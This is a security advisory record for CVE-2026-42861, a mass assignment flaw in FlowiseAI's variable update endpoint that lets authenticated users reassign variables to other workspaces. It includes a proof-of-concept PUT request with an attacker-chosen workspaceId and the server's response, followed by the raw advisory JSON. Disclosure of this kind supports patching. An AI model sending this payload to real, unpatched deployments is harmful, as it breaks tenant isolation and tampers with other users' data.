GHSA-6FW7-3Q8R-M5VJ
Vulnerability from github – Published: 2026-05-14 14:52 – Updated: 2026-06-09 13:09Summary
A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.
This behavior may break tenant isolation in multi-workspace environments.
Details
The endpoint responsible for updating variables:
PUT /api/v1/variables/{variableId}
accepts a JSON request body containing the variable definition.
However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.
Server-controlled fields that can be manipulated include:
- workspaceId
- createdDate
- updatedDate
These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.
For example, the following request body was accepted by the server:
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.
PoC
Request
PUT /api/v1/variables/<VARIABLE_ID>
Content-Type: application/json
{
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2016-03-06T18:00:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
Response
{
"id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
"name": "aaa",
"value": "bbbe",
"type": "static",
"createdDate": "2016-03-06T17:59:30.000Z",
"updatedDate": "2026-03-06T18:05:17.000Z",
"workspaceId": "11111111-2222-3333-4444-555555555555"
}
This confirms that the backend accepts and persists attacker-controlled internal properties.
Impact
This vulnerability allows authenticated users to manipulate internal attributes of variable resources.
Possible impacts include:
- Cross-workspace reassignment of variables (workspaceId)
- Unauthorized modification of metadata (createdDate, updatedDate)
- Potential tenant isolation bypass in multi-workspace deployments
In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42861"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T14:52:24Z",
"nvd_published_at": "2026-06-08T16:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\nA Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.\n\nThis behavior may break tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating variables:\n\n**PUT /api/v1/variables/{variableId}**\n\naccepts a JSON request body containing the variable definition.\n\nHowever, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.\n\nServer-controlled fields that can be manipulated include:\n\n- workspaceId\n- createdDate\n- updatedDate\n\nThese fields appear to be directly mapped to the database entity without strict input validation or authorization checks.\n\nFor example, the following request body was accepted by the server:\n\n```json\n{\n \"name\": \"aaa\",\n \"value\": \"bbbe\",\n \"type\": \"static\",\n \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThe server accepted the attacker-controlled workspaceId and metadata fields and persisted them.\n\n### PoC\n**Request**\n\n```http\nPUT /api/v1/variables/\u003cVARIABLE_ID\u003e\nContent-Type: application/json\n\n{\n \"name\": \"aaa\",\n \"value\": \"bbbe\",\n \"type\": \"static\",\n \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\n**Response**\n\n```json\n{\n \"id\": \"0a2b9f61-4a97-4ff8-b80d-00275ed18674\",\n \"name\": \"aaa\",\n \"value\": \"bbbe\",\n \"type\": \"static\",\n \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n \"updatedDate\": \"2026-03-06T18:05:17.000Z\",\n \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThis confirms that the backend accepts and persists attacker-controlled internal properties.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of variable resources.\n\nPossible impacts include:\n\n1. Cross-workspace reassignment of variables (workspaceId)\n2. Unauthorized modification of metadata (createdDate, updatedDate)\n3. Potential tenant isolation bypass in multi-workspace deployments\n\nIn multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.",
"id": "GHSA-6fw7-3q8r-m5vj",
"modified": "2026-06-09T13:09:53Z",
"published": "2026-05-14T14:52:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6fw7-3q8r-m5vj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42861"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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